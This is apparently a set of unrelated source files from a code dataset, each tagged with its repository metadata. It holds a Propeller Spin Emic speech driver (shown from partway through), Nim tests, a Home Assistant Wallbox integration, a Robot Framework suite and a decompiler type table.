You'll probably use these subroutines the most:
SAY
SAY_VALUE
VOLUME
SPEED
PITCH
}}
VAR
LONG E_TX, E_RX, E_BUSY, E_RESET 'Pins
LONG SET_V, SET_S, SET_P 'Volume/speed/pitch settings
LONG SET_BACK[3] 'Settings backup stack
LONG INITD 'Initiation flag
BYTE DATAIN[SIZE_DIN] 'RX'd data stack
CON
'You can call any of these variables with the argument EMIC#XXX_X
MAX_V = 7 'Max volume
MAX_S = 4 'Max speed
MAX_P = 6 'Max pitch
DEF_V = 4 'Default volume
DEF_S = 2 'Default speed
DEF_P = 1 'Default pitch
SIZE_DIN = 101 'DATAIN stack sizes
PUB START (_E_TX, _E_RX, _E_BUSY, _E_RESET) | X
{{ Initiates the Emic driver. Returns TRUE if successful.
The arguements represent the propeller pins connected to the
respective Emic pins. If one is not used, give it a -1.
Example:
EMIC.START(0, 1, 2, -1) 'Not using the Emic's Reset pin
}}
REPEAT X FROM 0 TO 3 'Make sure pins are in range!
IF (_E_TX[X] < -1) OR (_E_TX[X] > 31)
RETURN
RESULT := INITD := TRUE 'About to be initiated
LONGMOVE(@E_TX, @_E_TX, 4) 'Copy pins to local variables
IF NOT RESET 'Reset
CLEAR
SOFTRESET '^^
SET_SAVE 'Backup the current settings
PUB SAY (TEXT, WAITMODE)
{{ Gives the Emic the text string and optionally waits for completions.
Returns TRUE if successful.
"WAITMODE" modes:
0 - Don't wait to complete converting text or speaking
1 - Wait to complete converting text
2 - Wait to complete converting text AND speaking
Note: If the Emic is busy or the text string is too long,
the subroutine will return.
Example:
EMIC.SAY(STRING("Hello, world!"), 2)
}}
IF INA[E_BUSY] OR NOT INITD 'Failsafe
RETURN
RESULT~~
IF (STRSIZE(@TEXT) => 128) 'Make sure text size isn't > Emic's buffer
TEXT := STRING("Text too long")
RESULT~ '^^
TX($00) 'Issue commands
TX_STR(TEXT)
TX($AA) '^^
CASE WAITMODE 'Execute proper wait mode
1 : WAITNOTBUSY
2 : WAITNOTBUSY
WAITCNT(CLKFREQ/4+CNT)
WAITNOTBUSY
PUB SAY_VALUE (VALUE, WAITMODE) | CNTR
{{ Converts the VALUE to text then gives the Emic the string.
Optionally waits for completions. Returns TRUE if successful.
"WAITMODE" modes:
0 - Don't wait to complete converting text or speaking
1 - Wait to complete converting text
2 - Wait to complete converting text AND speaking
Note: If the Emic is busy the subroutine will return.
Example:
EMIC.SAY_VALUE(1234, 2)
}}
IF INA[E_BUSY] OR NOT INITD 'Failsafe
RETURN '^^
TX($00) 'Issue commands
CNTR := 1_000_000_000 ' Convert value to text
IF (VALUE < 0)
-VALUE
TX("-")
REPEAT 10
IF (VALUE => CNTR)
TX(VALUE/CNTR+"0")
VALUE //= CNTR
RESULT~~
ELSEIF RESULT OR CNTR == 1
TX("0")
CNTR /= 10 ' ^^
TX($AA) '^^
CASE WAITMODE 'Execute proper wait mode
1 : WAITNOTBUSY
2 : WAITNOTBUSY
WAITCNT(CLKFREQ/4+CNT)
WAITNOTBUSY
RETURN TRUE
PUB VOLUME (SETTING)
{{ Adjusts the Emic's volume level.
"SETTING" possibilities:
0 through 7, EMIC#DEF_V, EMIC#MAX_V
-1 returns the current volume level
Note: If the Emic is busy, it will return without communicating
and return the current volume level.
Example:
EMIC.VOLUME(5) 'Set volume to 5
EMIC.VOLUME(EMIC#MAX_V) 'Set volume to maximum (7)
EMIC.VOLUME(EMIC#DEF_V) 'Set volume back to default (4)
X := EMIC.VOLUME(-1) 'Grab the current volume level
}}
SETTING := SETTING <# MAX_V #> -1 'Failsafe
IF (SETTING == -1) OR INA[E_BUSY] OR NOT INITD
RETURN SET_V '^^
TX($01) 'Issue commands
TX(SETTING+"0")
TX($AA) '^^
WAITNOTBUSY
RETURN SET_V := SETTING
PUB SPEED (SETTING)
{{ Adjusts the Emic's speech speed level.
"SETTING" possibilities:
0 through 4, EMIC#DEF_, EMIC#MAX_
-1 returns the current speed level
Example:
EMIC.SPEED(1) 'Set speed to 1
EMIC.SPEED(EMIC#MAX_S) 'Set speed to maximum (4)
EMIC.SPEED(EMIC#DEF_S) 'Set speed back to default (2)
X := EMIC.SPEED(-1) 'Grab the current speed
}}
SETTING := SETTING <# MAX_S #> -1 'Failsafe
IF (SETTING == -1) OR INA[E_BUSY] OR NOT INITD
RETURN SET_S '^^
TX($02) 'Issue commands
TX(SETTING+"0")
TX($AA) '^^
WAITNOTBUSY
RETURN SET_S := SETTING
PUB PITCH (SETTING)
{{ Adjusts the Emic's speech pitch level.
"SETTING" possibilities:
0 through 6, EMIC#DEF_P, EMIC#MAX_P
-1 returns the current volume level
Example:
EMIC.PITCH(4) 'Set pitch to 4
EMIC.PITCH(EMIC#MAX_P) 'Set pitch to maximum (6)
EMIC.PITCH(EMIC#DEF_P) 'Set pitch back to default (1)
X := EMIC.PITCH(-1) 'Grab the current pitch level
}}
SETTING := SETTING <# MAX_P #> -1 'Failsafe
IF (SETTING == -1) OR INA[E_BUSY] OR NOT INITD
RETURN SET_P '^^
TX($03) 'Issue commands
TX(SETTING+"0")
TX($AA) '^^
WAITNOTBUSY
RETURN SET_P := SETTING
PUB ADDABBR (ABBR, TEXT)
{{ Adds an abbreviation to the Emic's abbreviation table.
"ABBR": The abbreviation string.
"TEXT": The string of text to be abbreviated. (Cannot contain numerals)
Example:
EMIC.ADDABBR(STRING("BS2"), STRING("Basic stamp two"))
EMIC.SAY(STRING("The BS2 is cool!"), 2) 'The Emic says "The Basic
' stamp two is cool!"
}}
IF INA[E_BUSY] OR NOT INITD 'Failsafe
RETURN '^^
SET_SAVE 'Backup settings because Emic softresets
TX($04) 'Issue commands
TX_STR(ABBR)
TX(",")
TX_STR(TEXT)
TX($AA) '^^
WAITCNT(CLKFREQ/5+CNT)
WAITNOTBUSY
SET_LOAD 'Restore backed up settings
WAITCNT(CLKFREQ/2+CNT)
PUB DELABBR (ABBR)
{{ Removes an abbreviation from the Emic's abbreviation table.
"ABBR": The string of the abbreviation to be removed.
Example:
EMIC.DELABBR(STRING("BS2"))
EMIC.SAY(STRING("The BS2 is cool!"), 2) 'The Emic says
' "The BS2 is cool!"
}}
IF INA[E_BUSY] OR NOT INITD 'Failsafe
RETURN '^^
SET_SAVE 'Backup settings because Emic softresets
TX($05) 'Issue commands
TX_STR(ABBR)
TX($AA) '^^
WAITCNT(CLKFREQ/5+CNT)
WAITNOTBUSY
SET_LOAD 'Restore backed up settings
WAITCNT(CLKFREQ/2+CNT)
PUB LISTABBR (STKPTR, SIZE, SEP) | X
{{ Grabs a list of the abbreviations in the Emic's table.
"STRPTR": The address of a string of bytes (stack) for the list to be
copied into. This is optional, in that case put a 0.
"SIZE" : The size of the specified string of bytes. Just in case.
If a stack isn't used then this doesn't matter.
"SEP" : The separation character between table entries. ie 13, or ","
This subroutine returns the address of the DATAIN stack used to
grab the abbreviation list. If not using your own stack, you
can just use the address to this one. But only until
the next RX_STR is called, because it clears the DATAIN stack.
Table entries will be separated by a "."
Example:
BYTE LIST[51] 'Establish a byte stack for the abbr list
X := EMIC.LISTABBR(@LIST, 51) 'Give the address and size of LIST
'(Assuming you have a method for serial communication with a terminal)
PRINT_STR(@LIST)
'Or...
PRINT_STR(X)
}}
IF INA[E_BUSY] OR (E_TX == -1) OR NOT INITD 'Failsafe
RETURN '^^
TX($06) 'Issue commands
TX($AA) '^^
RX_STR 'Begin recieving the table
REPEAT X FROM 0 TO SIZE_DIN-1 'Convert hex end-of-lines to ASCII
IF (DATAIN[X] == $0A)
DATAIN[X] := SEP '^^
IF (STKPTR > 0) 'Copy to STRPTR?
BYTEMOVE(STKPTR, @DATAIN, SIZE-1 <# SIZE_DIN-1) '^^
WAITNOTBUSY
RETURN @DATAIN 'Return with DATAIN's address
PUB VERSION (STKPTR) | X
{{ Grabs a small list of the Emic hardware/software versions,
and the speech processor's hardware/software versions.
"VERSTKPTR": The pointer to a long stack for the version numbers.
This subroutine returns the address of the DATAIN stack used to
grab the version list. If not using your own stack, you can just
use the address to this one. But only until the next RX_STR is called.
Example:
LONG EMIC_VER[4] 'One for each version
(Constants)
VER_EH = 0 'Stack variable number for Emic Hware
VER_ES = 1 'Stack variable number for Emic Sware
VER_WH = 2 'Stack variable number for WTS701 Hware
VER_WS = 3 'Stack variable number for WTS701 Sware
EMIC.VERSION(@EMIC_VER) 'Save the list in the EMIC_VER stack
EMIC.SAY_VALUE(EMIC_VER[VER_EH], 2) 'Say the Emic Hardware version
}}
IF INA[E_BUSY] OR (E_TX == -1) OR NOT INITD 'Failsafe
RETURN '^^
TX($07) 'Issue commands
TX($AA) '^^
REPEAT X FROM 0 TO 3 'Begin recieving list and
LONG[STKPTR][X] := RX ' saving to stack
WAITNOTBUSY
RETURN TRUE
PUB SOFTRESET
{{ Issues the soft reset command, which clears the volume, speed,
and pitch settings to their default values. It leaves everything
else (such as the abbreviation table) in tact.
}}
IF INA[E_BUSY] OR NOT INITD 'Failsafe
RETURN '^^
TX($08) 'Issue commands
TX($AA) '^^
'Store Emic default settings
SET_V := DEF_V 'Set VOLUME to default (4)
SET_S := DEF_S 'Set SPEED to default (2)
SET_P := DEF_P 'Set PITCH to default (1)
WAITNOTBUSY
RETURN TRUE
PUB RESET
{{ Issues a hard reset by pulling the reset pin low, which
completely restarts the Emic and reinitializes the firmware.
}}
IF NOT INITD OR (E_RESET == -1) 'Failsafe
RETURN '^^
DIRA[E_RESET]~~ 'Reset
OUTA[E_RESET]~
WAITCNT(CLKFREQ/5+CNT)
OUTA[E_RESET]~~
DIRA[E_RESET]~ '^^
'Store Emic default settings
SET_V := DEF_V 'Set VOLUME to default (4)
SET_S := DEF_S 'Set SPEED to default (2)
SET_P := DEF_P 'Set PITCH to default (1)
WAITCNT(CLKFREQ/2+CNT) 'Wait for it to wake up
WAITNOTBUSY
CLEAR
RETURN TRUE
PUB AIN (THRU)
{{ This is only available on the SIP version. This enables the analog
audio signal on the AIN pin to to be fed through the Emic to the
AOUT and SP+/SP- pins. The Emic is considered busy when doing this.
"THRU": Given TRUE, it lets the signal through.
Given FALSE, it doesn't.
Example:
EMIC.AIN(TRUE) 'Let the signal on AIN through
WAITCNT(CLKFREQ+CNT) 'Wait one second...
EMIC.AIN(FALSE) 'Close the signal
}}
IF NOT INITD 'Failsafe
RETURN '^^
IF THRU 'Issue commands
TX($09)
TX($AA)
RETURN TRUE
ELSEIF INA[E_BUSY]
TX($AA)
WAITNOTBUSY
RETURN TRUE '^^
'----- Extra Commands -----
PUB SET_SAVE
{{ Backs up the current volume/speed/pitch settings in extra variables. }}
LONGMOVE(@SET_BACK, @SET_V, 3)
PUB SET_LOAD
{{ Restores the backed up volume/speed/pitch settings. }}
LONGMOVE(@SET_V, @SET_BACK, 3)
VOLUME(SET_V)
SPEED(SET_S)
PITCH(SET_P)
PUB BUSY_RESET
{{ Resets and restores the Emic module if Busy pin is high.
If you find that the Emic has become unresponsive because it's
stuck in a busy state, you can use this to reset the Emic
and restore your previously set vol/speed/pitch settings.
}}
IF INA[E_BUSY] 'If the Emic is busy...
SET_SAVE ' Backup settings
RESET ' Reset
SET_LOAD ' Restore settings
RETURN TRUE
PUB IS_INITD
{{ Returns the state of initiation. }}
RETURN INITD
PUB STOP
{{ Clears the Propeller's Emic pin directions and states,
and calls for a reset. Returns TRUE if successful.
}}
IF INITD 'If initiated..
IF NOT RESET ' Reset Emic module
WAITNOTBUSY
SOFTRESET ' ^^
DIRA[E_RX]~ ' Set all Emic pins to input
IF E_TX+1
DIRA[E_TX]~
DIRA[E_BUSY]~
IF E_RESET+1
DIRA[E_RESET]~ ' ^^
OUTA[E_RX]~ ' Set all Emic pins low
IF E_TX+1
OUTA[E_TX]~
IF E_RESET+1
OUTA[E_BUSY]~
OUTA[E_RESET]~ ' ^^
INITD~ ' No longer initialized
RETURN TRUE ' Termination successful
'----- Communication Commands -----
PUB WAITNOTBUSY
{{ Waits until the busy pin goes low. Be careful not to use this
if the Emic has been told to let the AIN signal through, because
the Emic is then in a constant state of busy, and you're stuck
until the system clock counter resets...
Example:
EMIC.SAY(STRING("Hello!"), 0) 'Give the Emic text without waiting
EMIC.WAITNOTBUSY 'Using this to wait for Emic to finish
}}
WAITPEQ(0, |<E_BUSY, 0)
PUB TX (CHAR) | BR
BR := CLKFREQ/2400-1700 #> 381 'Calculate baud rate
CHAR := ((1 << 8)+CHAR) << 2 'Set up character with start & stop bit
DIRA[E_RX]~~
REPEAT 10 'Send each bit based on baud rate
OUTA[E_RX] := CHAR >>= 1
WAITCNT(BR+CNT)
WAITCNT(CLKFREQ/950+CNT)
PUB TX_STR (STRPTR)
REPEAT STRSIZE(STRPTR)
TX(BYTE[STRPTR++]) 'Send each character in string
PUB RX | BR, X
BR := 1_000_000/2400 'Calculate bit rate
DIRA[E_TX]~ 'Set as input
WAITPEQ(1 << E_TX, |<E_TX, 0) 'Wait for idle
WAITPNE(1 << E_TX, |<E_TX, 0) 'Wait for Start bit
WAITCNT(CLKFREQ/1_000_000*BR*100/90+CNT) 'Pause to be centered in 1st bit time
REPEAT X FROM 0 TO 7 'Number of bits - 1
RESULT := RESULT | (INA[E_TX] << X) 'Read next bit, shift and store
WAITCNT(CLKFREQ/1_000_000*(BR-70)+CNT) 'Wait until center of next bit
PUB RX_STR | PTR
BYTEFILL(@DATAIN, 0, SIZE_DIN) 'Fill string memory with 0's (null)
PTR~
REPEAT
DATAIN[PTR] := RX 'Get character
IF (DATAIN[PTR] == $55) OR (PTR => SIZE_DIN) 'String end
DATAIN[PTR]~
RETURN @DATAIN
PTR++
PRI CLEAR
{{ Required on startup for some reason I don't yet know.
Buffer clear maybe?
}}
REPEAT 2
TX($AA)
WAITNOTBUSY
DAT
{{Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
}}
| Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/Emic Text-to-Speech Driver, Extended/EmicDriverExtended.spin | [
"MIT"
] |
version https://git-lfs.github.com/spec/v1
oid sha256:e064832e37f56bd7effcfba73a25428750887b79c9da09259397899d76062217
size 899773262
| Octave | 0 | dust-engine/dust | test.oct | [
"RSA-MD"
] |
discard """
output: '''
foo
'''
"""
block: # #12672
var a = @[1]
let i = 1
inc a[i-1]
var b: seq[int]
doAssertRaises(IndexDefect): inc b[0]
doAssertRaises(IndexDefect): inc b[i-1]
var x: seq[seq[int]]
doAssertRaises(IndexDefect): # not TypeError
inc x[0][i-1]
block: # #14087
type Obj = object
str: string
var s = @[Obj(str: "abc"), Obj(str: "def")]
s[1].str.add("ghi")
s[s.len - 1].str.add("jkl")
s[^1].str.add("mno")
s[s.high].str.add("pqr")
let slen = s.len
s[slen - 1].str.add("stu")
let shigh = s.high
s[shigh].str.add("vwx")
proc foo(): int =
echo "foo"
shigh
s[foo()].str.add("yz")
doAssert s[1].str == "defghijklmnopqrstuvwxyz"
block: # #14117
type
A = object
case kind: bool
of true:
sons: seq[int]
else: discard
var a = A(kind: true)
doAssert a.sons.len == 0
a.sons.add(1)
doAssert a.sons.len == 1
import tables
block: # #13966
var t: Table[int8, array[int8, seq[tuple[]]]]
t[0] = default(array[int8, seq[tuple[]]])
t[0][0].add ()
block: # #11783
proc fun(): string =
discard
var ret: string
ret.add fun()
doAssert ret == ""
block: # #12256
var x: bool
doAssert x == false
reset x
doAssert x == false
doAssert x != true
| Nimrod | 3 | JohnAD/Nim | tests/js/ttempgen.nim | [
"MIT"
] |
"""The Wallbox integration."""
from __future__ import annotations
from datetime import timedelta
from http import HTTPStatus
import logging
from typing import Any
import requests
from wallbox import Wallbox
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import CONF_PASSWORD, CONF_USERNAME, Platform
from homeassistant.core import HomeAssistant
from homeassistant.exceptions import ConfigEntryAuthFailed, HomeAssistantError
from homeassistant.helpers.update_coordinator import (
CoordinatorEntity,
DataUpdateCoordinator,
)
from ...helpers.entity import DeviceInfo
from .const import (
CHARGER_CURRENT_VERSION_KEY,
CHARGER_DATA_KEY,
CHARGER_LOCKED_UNLOCKED_KEY,
CHARGER_MAX_CHARGING_CURRENT_KEY,
CHARGER_NAME_KEY,
CHARGER_PART_NUMBER_KEY,
CHARGER_SERIAL_NUMBER_KEY,
CHARGER_SOFTWARE_KEY,
CHARGER_STATUS_DESCRIPTION_KEY,
CHARGER_STATUS_ID_KEY,
CONF_STATION,
DOMAIN,
ChargerStatus,
)
_LOGGER = logging.getLogger(__name__)
PLATFORMS = [Platform.SENSOR, Platform.NUMBER, Platform.LOCK, Platform.SWITCH]
UPDATE_INTERVAL = 30
# Translation of StatusId based on Wallbox portal code:
# https://my.wallbox.com/src/utilities/charger/chargerStatuses.js
CHARGER_STATUS: dict[int, ChargerStatus] = {
0: ChargerStatus.DISCONNECTED,
14: ChargerStatus.ERROR,
15: ChargerStatus.ERROR,
161: ChargerStatus.READY,
162: ChargerStatus.READY,
163: ChargerStatus.DISCONNECTED,
164: ChargerStatus.WAITING,
165: ChargerStatus.LOCKED,
166: ChargerStatus.UPDATING,
177: ChargerStatus.SCHEDULED,
178: ChargerStatus.PAUSED,
179: ChargerStatus.SCHEDULED,
180: ChargerStatus.WAITING_FOR_CAR,
181: ChargerStatus.WAITING_FOR_CAR,
182: ChargerStatus.PAUSED,
183: ChargerStatus.WAITING_IN_QUEUE_POWER_SHARING,
184: ChargerStatus.WAITING_IN_QUEUE_POWER_SHARING,
185: ChargerStatus.WAITING_IN_QUEUE_POWER_BOOST,
186: ChargerStatus.WAITING_IN_QUEUE_POWER_BOOST,
187: ChargerStatus.WAITING_MID_FAILED,
188: ChargerStatus.WAITING_MID_SAFETY,
189: ChargerStatus.WAITING_IN_QUEUE_ECO_SMART,
193: ChargerStatus.CHARGING,
194: ChargerStatus.CHARGING,
195: ChargerStatus.CHARGING,
196: ChargerStatus.DISCHARGING,
209: ChargerStatus.LOCKED,
210: ChargerStatus.LOCKED,
}
class WallboxCoordinator(DataUpdateCoordinator[dict[str, Any]]):
"""Wallbox Coordinator class."""
def __init__(self, station: str, wallbox: Wallbox, hass: HomeAssistant) -> None:
"""Initialize."""
self._station = station
self._wallbox = wallbox
super().__init__(
hass,
_LOGGER,
name=DOMAIN,
update_interval=timedelta(seconds=UPDATE_INTERVAL),
)
def _authenticate(self) -> None:
"""Authenticate using Wallbox API."""
try:
self._wallbox.authenticate()
except requests.exceptions.HTTPError as wallbox_connection_error:
if wallbox_connection_error.response.status_code == HTTPStatus.FORBIDDEN:
raise ConfigEntryAuthFailed from wallbox_connection_error
raise ConnectionError from wallbox_connection_error
def _validate(self) -> None:
"""Authenticate using Wallbox API."""
try:
self._wallbox.authenticate()
except requests.exceptions.HTTPError as wallbox_connection_error:
if wallbox_connection_error.response.status_code == 403:
raise InvalidAuth from wallbox_connection_error
raise ConnectionError from wallbox_connection_error
async def async_validate_input(self) -> None:
"""Get new sensor data for Wallbox component."""
await self.hass.async_add_executor_job(self._validate)
def _get_data(self) -> dict[str, Any]:
"""Get new sensor data for Wallbox component."""
try:
self._authenticate()
data: dict[str, Any] = self._wallbox.getChargerStatus(self._station)
data[CHARGER_MAX_CHARGING_CURRENT_KEY] = data[CHARGER_DATA_KEY][
CHARGER_MAX_CHARGING_CURRENT_KEY
]
data[CHARGER_LOCKED_UNLOCKED_KEY] = data[CHARGER_DATA_KEY][
CHARGER_LOCKED_UNLOCKED_KEY
]
data[CHARGER_STATUS_DESCRIPTION_KEY] = CHARGER_STATUS.get(
data[CHARGER_STATUS_ID_KEY], ChargerStatus.UNKNOWN
)
return data
except requests.exceptions.HTTPError as wallbox_connection_error:
raise ConnectionError from wallbox_connection_error
async def _async_update_data(self) -> dict[str, Any]:
"""Get new sensor data for Wallbox component."""
return await self.hass.async_add_executor_job(self._get_data)
def _set_charging_current(self, charging_current: float) -> None:
"""Set maximum charging current for Wallbox."""
try:
self._authenticate()
self._wallbox.setMaxChargingCurrent(self._station, charging_current)
except requests.exceptions.HTTPError as wallbox_connection_error:
if wallbox_connection_error.response.status_code == 403:
raise InvalidAuth from wallbox_connection_error
raise ConnectionError from wallbox_connection_error
async def async_set_charging_current(self, charging_current: float) -> None:
"""Set maximum charging current for Wallbox."""
await self.hass.async_add_executor_job(
self._set_charging_current, charging_current
)
await self.async_request_refresh()
def _set_lock_unlock(self, lock: bool) -> None:
"""Set wallbox to locked or unlocked."""
try:
self._authenticate()
if lock:
self._wallbox.lockCharger(self._station)
else:
self._wallbox.unlockCharger(self._station)
except requests.exceptions.HTTPError as wallbox_connection_error:
if wallbox_connection_error.response.status_code == 403:
raise InvalidAuth from wallbox_connection_error
raise ConnectionError from wallbox_connection_error
async def async_set_lock_unlock(self, lock: bool) -> None:
"""Set wallbox to locked or unlocked."""
await self.hass.async_add_executor_job(self._set_lock_unlock, lock)
await self.async_request_refresh()
def _pause_charger(self, pause: bool) -> None:
"""Set wallbox to pause or resume."""
try:
self._authenticate()
if pause:
self._wallbox.pauseChargingSession(self._station)
else:
self._wallbox.resumeChargingSession(self._station)
except requests.exceptions.HTTPError as wallbox_connection_error:
if wallbox_connection_error.response.status_code == 403:
raise InvalidAuth from wallbox_connection_error
raise ConnectionError from wallbox_connection_error
async def async_pause_charger(self, pause: bool) -> None:
"""Set wallbox to pause or resume."""
await self.hass.async_add_executor_job(self._pause_charger, pause)
await self.async_request_refresh()
async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Set up Wallbox from a config entry."""
wallbox = Wallbox(entry.data[CONF_USERNAME], entry.data[CONF_PASSWORD])
wallbox_coordinator = WallboxCoordinator(
entry.data[CONF_STATION],
wallbox,
hass,
)
try:
await wallbox_coordinator.async_validate_input()
except InvalidAuth as ex:
raise ConfigEntryAuthFailed from ex
await wallbox_coordinator.async_config_entry_first_refresh()
hass.data.setdefault(DOMAIN, {})[entry.entry_id] = wallbox_coordinator
hass.config_entries.async_setup_platforms(entry, PLATFORMS)
return True
async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Unload a config entry."""
unload_ok = await hass.config_entries.async_unload_platforms(entry, PLATFORMS)
if unload_ok:
hass.data[DOMAIN].pop(entry.entry_id)
return unload_ok
class InvalidAuth(HomeAssistantError):
"""Error to indicate there is invalid auth."""
class WallboxEntity(CoordinatorEntity[WallboxCoordinator]):
"""Defines a base Wallbox entity."""
@property
def device_info(self) -> DeviceInfo:
"""Return device information about this Wallbox device."""
return DeviceInfo(
identifiers={
(
DOMAIN,
self.coordinator.data[CHARGER_DATA_KEY][CHARGER_SERIAL_NUMBER_KEY],
)
},
name=f"Wallbox - {self.coordinator.data[CHARGER_NAME_KEY]}",
manufacturer="Wallbox",
model=self.coordinator.data[CHARGER_DATA_KEY][CHARGER_PART_NUMBER_KEY],
sw_version=self.coordinator.data[CHARGER_DATA_KEY][CHARGER_SOFTWARE_KEY][
CHARGER_CURRENT_VERSION_KEY
],
)
| Python | 5 | liangleslie/core | homeassistant/components/wallbox/__init__.py | [
"Apache-2.0"
] |
*** Setting ***
Documentation Normal test cases
Force Tags f1
Default Tags d1 d2
Metadata Something My Value
*** Test Case ***
Suite1 First
[Tags] t1
Log Suite1_First
Sleep 0.01 Make sure elapsed time > 0
Suite1 Second
[Tags] t2
Log Suite1_Second
Third In Suite1
Log Suite2_third
| RobotFramework | 4 | phil-davis/robotframework | atest/testdata/misc/suites/tsuite1.robot | [
"ECL-2.0",
"Apache-2.0"
] |
0 code_t "proc*"
1 uint32_t "unsigned int"
2 ptr(TOP) "void*"
3 reg32_t "dword"
4 ptr(struct(0:num32_t,4:ptr(TOP),8:ptr(TOP))) "_SCOPETABLE_ENTRY*"
1 uint32_t "UINT"
3 reg32_t "HANDLE"
5 ptr(struct(0:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t)) "Struct_781*"
6 ptr(num8_t) "char*"
1 uint32_t "size_t"
7 ptr(struct(0:reg16_t,2:num8_t)) "StructFrag_32*"
8 num32_t "int"
9 ptr(struct(0:ptr(num8_t),48:ptr(num8_t))) "Struct_846*"
10 ptr(struct(56:ptr(num8_t),104:ptr(num8_t))) "Struct_849*"
11 ptr(struct(0:array(reg8_t,360),360:num8_t)) "StructFrag_485*"
12 ptr(struct(0:ptr(num8_t),4294967268:ptr(num8_t))) "Struct_850*"
13 ptr(ptr(num8_t)) "char*[]"
14 ptr(array(reg8_t,33)) "unknown_264*"
15 ptr(array(reg8_t,64)) "unknown_512*"
16 ptr(struct(0:reg64_t,8:reg32_t)) "StructFrag_8*"
1 uint32_t "UINT_PTR"
8 num32_t "LONG"
17 ptr(num32_t) "LPLONG"
18 ptr(struct(0:array(reg8_t,60),60:num32_t)) "StructFrag_491*"
19 ptr(struct(8:ptr(TOP),12:reg32_t,4294967288:reg32_t)) "Struct_889*"
20 ptr(struct(0:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),4:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:array(reg8_t,80),108:reg32_t),140:reg32_t,144:reg32_t,148:reg32_t,152:reg32_t,156:reg32_t,160:reg32_t,164:reg32_t,168:reg32_t,172:reg32_t,176:reg32_t,180:reg32_t,184:reg32_t,188:reg32_t,192:reg32_t,196:reg32_t,200:reg32_t,204:array(reg8_t,512))))) "_EXCEPTION_POINTERS*"
6 ptr(num8_t) "LPSTR"
21 ptr(reg32_t) "dword*"
22 union(code_t,ptr(num32_t)) "Union_3"
23 int32_t "signed int"
24 ptr(uint16_t) "wchar_t*"
25 union(ptr(TOP),ptr(uint16_t)) "Union_215"
26 num8_t "char"
27 ptr(reg16_t) "LPWORD"
28 array(reg8_t,3) "unknown_24"
29 num16_t "short"
30 reg16_t "word"
31 ptr(struct(4:reg32_t,8:reg32_t,12:ptr(TOP),16:ptr(struct(0:array(reg8_t,67),67:num8_t)))) "Struct_13*"
32 ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)) "Struct_149*"
33 ptr(struct(0:reg32_t,4:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(0:array(reg8_t,24),24:code_t)))))) "StructFrag_435*"
34 ptr(struct(0:array(reg8_t,28),28:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))) "StructFrag_489*"
2 ptr(TOP) "LPVOID"
35 union(ptr(TOP),ptr(struct(0:array(reg8_t,536870908),4294967292:uint32_t))) "Union_217"
36 ptr(struct(0:int32_t,4:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)),8:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))) "Struct_839*"
37 ptr(struct(67:num8_t,676:ptr(TOP))) "Struct_841*"
38 union(ptr(TOP),uint32_t) "Union_133"
39 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:ptr(struct(0:array(reg8_t,676),676:ptr(TOP))))) "Struct_817*"
40 ptr(struct(8:num32_t,12:ptr(struct(0:array(reg8_t,24),24:int32_t)),16:ptr(struct(320:ptr(TOP),324:int32_t,328:ptr(TOP))))) "Struct_883*"
